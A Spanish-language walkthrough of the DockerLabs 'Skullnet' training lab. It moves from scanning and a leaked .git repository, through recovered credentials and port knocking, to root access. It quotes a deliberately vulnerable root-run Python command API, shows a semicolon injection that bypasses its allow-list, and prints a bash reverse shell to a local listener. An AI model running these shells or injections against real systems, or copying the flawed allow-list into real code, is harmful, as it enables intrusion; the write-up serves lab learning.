DockerLabs Skullnet

DockerLabs Skullnet

Esta es una máquina de DockerLabs de nivel difícil

·

4 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos un escaneo de los puertos de la dirección IP y podemos observar que tenemos un puerto y este tiene un dominio, el cual agregaremos para poder acceder.

Al dirigirnos al dominio en el navegador podemos observar la siguiente página y al probar el botón notamos que no es funcional.

Ya que la página no tiene nada oculto en el código, realizaremos un escaneo de subdirectorios, pero no encontramos nada.

Realizaremos un escaneo de subdominios, pero tampoco encontramos nada.

Volvemos a realizar un escaneo más detallado y podemos observar que seguimos teniendo solo el puerto 80, pero esta vez encontró un directorio .git.

Ya que ser trata de un .git haremos uso de githack.

Podemos observar que archivos son 3 archivos y en la imagen anterior tenemos dos hashes.

9c902d081106a85cf2d928cd96a1cd9c90d7a2c9
648d951e0f8b7cc60b11c82d9328fe9cb1a4a53d

Esto también lo observamos, pero con más información si vamos a la carpeta que se genera e indicamos git log.

Revisamos cada commit y en el primero observamos que tenemos un mensaje que nos servirá.

En el segundo commit tenemos lo siguiente.

Podemos observar que identificamos varios archivos. Primero un archivo authentication.txt que fue eliminado. Para recuperar el archivo eliminado hacemos lo siguiente.

Listamos los archivos y podemos observar que es el mismo texto que nos dio.

Las credenciales son iguales así que podemos suponer que las credenciales son:

skulloperator
+%7nj^g!DQxp]a>c4v&0

Como no identifico el servicio SSH no podemos probar las credenciales. Seguimos revisando y ahora debemos buscar el archivo /network.pcap.

Abrimos el archivo con whireshark y como la consulta es corta podemos hacerlo manual. Comprobando la captura podemos observar que en la IP de nuestro interés se tiene comunicación con el puerto SSH y 3 puertos adicionales.

1000
5000
12000

Con esta información realizaremos un port knocking a los puertos encontrados

Ahora volveremos a ejecutar nmap para revisar, pero no nos habilitó ningún puerto.

Debemos tener en cuenta que esto se habilita también cuando sigue un determinado orden al momento de tocar los puertos, por ello sí realizamos de la siguiente manera si se nos habilita.

Ya que tenemos habilitado el puerto SSH ingresamos con las credenciales que encontramos y podemos observar que accedimos con éxito.

Listamos los archivos y podemos observar un flag.

Buscamos permisos SUID, pero ninguno nos sirve.

Listamos capabilities, tampoco observamos nada relevante.

Revisando procesos observamos que tenemos el archivo skullnet_api.py que lo está ejecutando root.

Abrimos el archivo y podemos observar el siguiente escucha en el puerto 8081 y ejecuta comandos cuando recibe una solicitud http get con un parámetro específico

import http.server
import socketserver
import urllib.parse
import subprocess
import base64
import os

PORT = 8081

AUTH_KEY_BASE64 = "d2VfYXJlX2JvbmVzXzUxMzU0NjUxNjQ4NjQ4NA=="

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):

        auth_header = self.headers.get('Authorization')

        if auth_header is None or not auth_header.startswith('Basic' ):
            self.send_response(401)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Authorization header is missing or incorrect")
            return

        clear_text_key = auth_header.split('Basic ')[1]

        decoded_key = base64.b64decode(AUTH_KEY_BASE64).decode()

        if clear_text_key != decoded_key:
            self.send_response(403)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Invalid authorization key")
            return

        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)

        if 'exec' in query_params:
            command = query_params['exec'][0]
            try:
                allowed_commands = ['ls', 'whoami']
                if not any(command.startswith(cmd) for cmd in allowed_commands):
                    self.send_response(403)
                    self.send_header("Content-type", "text/plain")
                    self.end_headers()
                    self.wfile.write(b"Command not allowed.")
                    return

                result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
                self.send_response(200)
                self.send_header("Content-type", "text/plain")
                self.end_headers()
                self.wfile.write(result)
            except subprocess.CalledProcessError as e:
                self.send_response(500)
                self.send_header("Content-type", "text/plain")
                self.end_headers()
                self.wfile.write(e.output)
        else:
            self.send_response(400)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Missing 'exec' parameter in URL")

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    httpd.serve_forever()

Este código para la parte de autenticación espera un encabezado Authorization con el esquema de basic como tenemos la clave de autenticación AUTH_KEY_BASE64 y si esa sección convertimos de base 64 podemos observar lo siguiente.

Con esto en conocimiento la estructura del encabezado de Authorization sería la siguiente.

Authorization: basic we_are_bones_513546516486484

Para poder ejecutar comandos luego de la autenticación exitosa usamos el parámetro exec Con estas consideraciones y con un entendimiento general del código podemos realizar consultas usando curl. Ejecutamos el comando y podemos observar que listamos archivos con éxito y también podemos observar que los ejecutamos como root.

Con esto en mente podemos establecer una revshell.

bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'

Lo URL encodeamos para evitar problemas

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Antes de enviar esa petición iniciamos nuestro listener.

Probando modos de saltar esta restricción podemos observar que si ingresamos un ; URL en codeado sería %3B podemos ejecutar dos comandos y saltarnos la restricción.

Con este permiso lo que hacemos es agregar el comando luego del ls.

Si vamos a nuestro listener podemos observar que ya tenemos acceso a la consola de root. De esta manera culminando esta máquina.